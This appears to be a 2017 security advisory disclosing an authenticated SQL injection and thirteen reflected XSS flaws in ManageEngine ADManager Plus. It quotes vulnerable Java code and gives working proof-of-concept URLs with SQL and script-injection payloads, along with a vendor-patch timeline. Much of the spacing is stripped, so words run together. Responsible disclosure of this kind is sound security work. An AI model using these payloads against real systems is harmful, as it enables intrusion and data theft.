1.ADVISORYINFORMATION========================================Title:ManagEnegineADManagerPlus<=6.5.40MultipleVulnerabilitiesApplication:ManagEnegineAdmanagerRemotelyExploitable:YesAuthenticationRequired:YesVersionsAffected:<=6.5.40Technology:JavaVendorURL: https://www.manageengine.com/products/ad-manager/IdentifiedIssuesTypes:ReflectedXSS(s),AuthenticatedSecondOrderSQLInjectionAuthor:MehmetInceDate of found:08Jan20172.CREDIT========================================Those vulnerabilities was identified during internal penetration test
by MehmetINCE from PRODAFT/INVICTUS.3.DETAILS========================================3.1AuthenticatedSecondOrderSQLInjection-----------------------------------------AdventNetADSMClient.jar file contains DuplicateComputersListenerclass definition which is accessible with/Report.do enpoint.
start function of DuplicateComputerLİstener class is as follow (Irrelevant part are omitted.)publicvoidstart(ArrayList attributeList,HttpServletRequest request,ReportBean bean){try{...OMITTED...this.attrbId = request.getParameter("attrId");this.tableName = request.getParameter("attrTabName");this.attrbName = request.getParameter("attrbColName");...OMITTED...}catch(Exception e){
e.printStackTrace();}}It takes user input without validation and set it directly totheclass variables such as tableName,attrbName.
And then deriveData function are going tobe called withclass variables that under the adversary control
during complatedAction function execution.publicvoidcompletedAction(){if(this.updateDetails){...OMITTED...deriveData(this.domainName,this.attrbId,this.attrbName,this.tableName);...OMITTED...}...OMITTED...}
deriveData function definition is as follow.publicvoidderiveData(String domainName,String attrbId,String attrbName,String tableName){ArrayList list =newArrayList();RelationalAPI relationalAPI =RelationalAPI.getInstance();Connection connection =null;try{TableDefinition tableDef =MetaDataUtil.getTableDefinitionByName(tableName);ColumnDefinition colDef = tableDef.getColumnDefinitionByName(attrbName);String dataType = colDef.getDataType();String selctAttrbCol_defaultValue ="'-'";if(!dataType.equals("CHAR")){...OMITTED...}String query ="select "+ tableName +"."+ attrbName +","+ tableName +".domain_name "+" from "+ tableName +" inner join "+this.resultTableName +" on "+ tableName +".object_guid="+this.resultTableName +".object_guid where "+ tableName +"."+ attrbName +"!="+ selctAttrbCol_defaultValue +" and "+ tableName +".domain_name='"+ domainName +"' and "+this.resultTableName +".report_generation_id='"+this.generationId +"' group by "+ tableName +"."+ attrbName +","+ tableName +".domain_name having count(*) > 1;";if(!tableName.equalsIgnoreCase(this.baseTableName)){String selctAttrbCol = tableName +"."+ attrbName;String parentAttrbCol =this.baseTableName +".domain_name";String parentTable =this.baseTableName;String childTable = tableName;String parentJoinCol =this.baseTableName +".object_guid";String childJoinCol = tableName +".object_guid";String join = parentTable +" inner join "+ childTable +" on "+ parentJoinCol +" = "+ childJoinCol +" inner join "+this.resultTableName +" on "+ parentJoinCol +" = "+this.resultTableName +".object_guid";
query ="select "+ selctAttrbCol +","+ parentAttrbCol +" from "+ join +" where "+ selctAttrbCol +"!="+ selctAttrbCol_defaultValue +" and "+ parentAttrbCol +"='"+ domainName +"' and "+this.resultTableName +".report_generation_id='"+this.generationId +"' group by "+ selctAttrbCol +","+ parentAttrbCol +" having count(*) > 1;";}ArrayList result =getResult(query, attrbName);ArrayList subList =newArrayList();if(result.size()>0){...OMITTED...}if(subList.size()>0){...OMITTED...}else{...OMITTED...}}catch(Exception e){
e.printStackTrace();}}As you can see, database query built withuser supplied variable without PDO/ORM.POCURL: http://12.0.0.136:8080/Report.do?methodToCall=generateReport&action=Generate&domains=DC=acme,DC=local&&attrId=3001&attrTabName=1;%20SELECT%20pg_sleep(100);%20--&attrbColName=COMPUTER_NAME&attrbDispName=Computer%20Name
VulnerableParameters: attrTabName, attrbColName
IMPORTANTNOTE:Since whole process are being called as background job, there is no way tosuccessfully exploitation
withBlind and/or TimeBasedtechniques. Sincethis application mostly runs on Windows operating systems, it's possible toexfiltrate data withDNS queries.(http://www.slideshare.net/stamparm/dns-exfiltration-using-sqlmap-13163281)3.2ReflectedCross-SiteScriptingIssues-----------------------------------------Issue #1POCURL: http://12.0.0.136:8080/ObjectProperties.do?selectedTab=home&guid={0622C4EE-51D8-4381-A1D9-05B66F10BA16}&domainName=12422'%3balert(1)%2f%2f166dlgck5&selectedObjectTab=properties&reportProperties=objectProperties&objectClass=computer&adscsrf=3b59a7c2-4cf4-4f3c-95e4-bfe41f76717a
Parameters: domainName
Issue #2POCURL: http://12.0.0.136:8080/DelegationAudit.do?methodToCall=finish&selectedTab=delegation&selectedTile=delegationAudit&action='"--></style></scRipt><scRipt>alert(0x03279A)</scRipt>&init=trueVulnerableParameters: action
Issue #3POCURL: http://12.0.0.136:8080/HDTTemplates.do?technicianId=1&domainName='"--></style></scRipt><scRipt>alert(0x0328D0)</scRipt>VulnerableParameters: domainName
Issue #4POCURL: http://12.0.0.136:8080/jsp/reports/ExportReport.jsp?reportList=true&reportId=43&waadAccId=/'onload='alert(9)VulnerableParameters: waadAccId
Issue #5POCURL: http://12.0.0.136:8080/MgmtAutomation.do?selectedTab=automation&selectedTile=mgmtAutomation&methodToCall=scheduledAutomationCreation&actionType='"--></style></scRipt><scRipt>alert(0x02CB72)</scRipt>VulnerableParameters: actionType
Issue #6POCURL: http://12.0.0.136:8080/ObjectProperties.do?guid={0262EDE4-B845-4E67-B926-BC89BC4DDCBF}&objectClass='"--></style></scRipt><scRipt>alert(0x013AEE)</scRipt>&domainName=acme.local&nodeClicked=DC=acme,DC=local&selectedObjectTab=properties&objectName=Builtin&adscsrf=VulnerableParameters: objectClass, domainName
Issue #7POCURL: http://12.0.0.136:8080/PopupInputSelection.do?methodToCall=selectContainer&domainName='"--></style></scRipt><scRipt>alert(0x025A20)</scRipt>&isWorkFlow=false&id=input2014&container=CN=Users,DC=acme,DC=local
VulnerableParameters: domainName, id, container
Issue #8POCURL: http://12.0.0.136:8080/Report.do?selectedTab=reports&methodToCall=report&init=true&reportTab='"--></style></scRipt><scRipt>alert(0x00AE90)</scRipt>&tileName=ComplianceReportsVulnerableParameters: reportTab, tileName, categoryId,Issue #9POCURL: http://12.0.0.136:8080/AdvancedFilter.do?beanName=ReportBean&domainName='"--></style></scRipt><scRipt>alert(0x0376D4)</scRipt>&distinguishedName=DC=acme,DC=local
VulnerableParameters: domainName, distinguishedName
Issue #10POCURL: http://12.0.0.136:8080/ViewSIDs.do?domainName='"--></style></scRipt><scRipt>alert(0x041BA0)</scRipt>&permissionType=folder
VulnerableParameters: permissionType, domianName
Issue #11POCURL: http://12.0.0.136:8080/computerList.do?defaultNamingContext=DC=acme,DC=local&textField='"--></style></scRipt><scRipt>alert(0x042402)</scRipt>VulnerableParameters: textField
Issue #12POCURL: http://12.0.0.136:8080/ViewObjects.do?defaultNamingContext=x'" onmouseover=alert(9)&modelName=TreeModel&showDomains=falseVulnerableParameters: defaultNamingContext,modelName, showDomain
Issue #13POCURL: http://12.0.0.136:8080/groupList.do?defaultNamingContext=DC=acme,DC=local&modifyType='"--></style></scRipt><scRipt>alert(0x0437B4)</scRipt>&beanName=undefined&type=single
VulnerableParameters: modifyType, beanName
4.TIMELINE========================================06Jan2017-Netsparker identified several XSS vulnerabilities.07Jan2017-Further investigation done by INVICTUS/PRODAFT team.07Jan2017-SQLInjection identified by INVICTUS/PRODAFT team.08Jan2017-Details and short term mitigations are shared withmembers of GPACT/USTA platforms.09Jan2017-Vendor notified.09Jan2017-Vendor acknowledge the report.13Jan2017-Vendor replied withpatch.13Jan2017-Patch verified by INVICTUS/PRODAFT team.16Jan2017-Advisory released (https://www.manageengine.com/products/ad-manager/release-notes.html)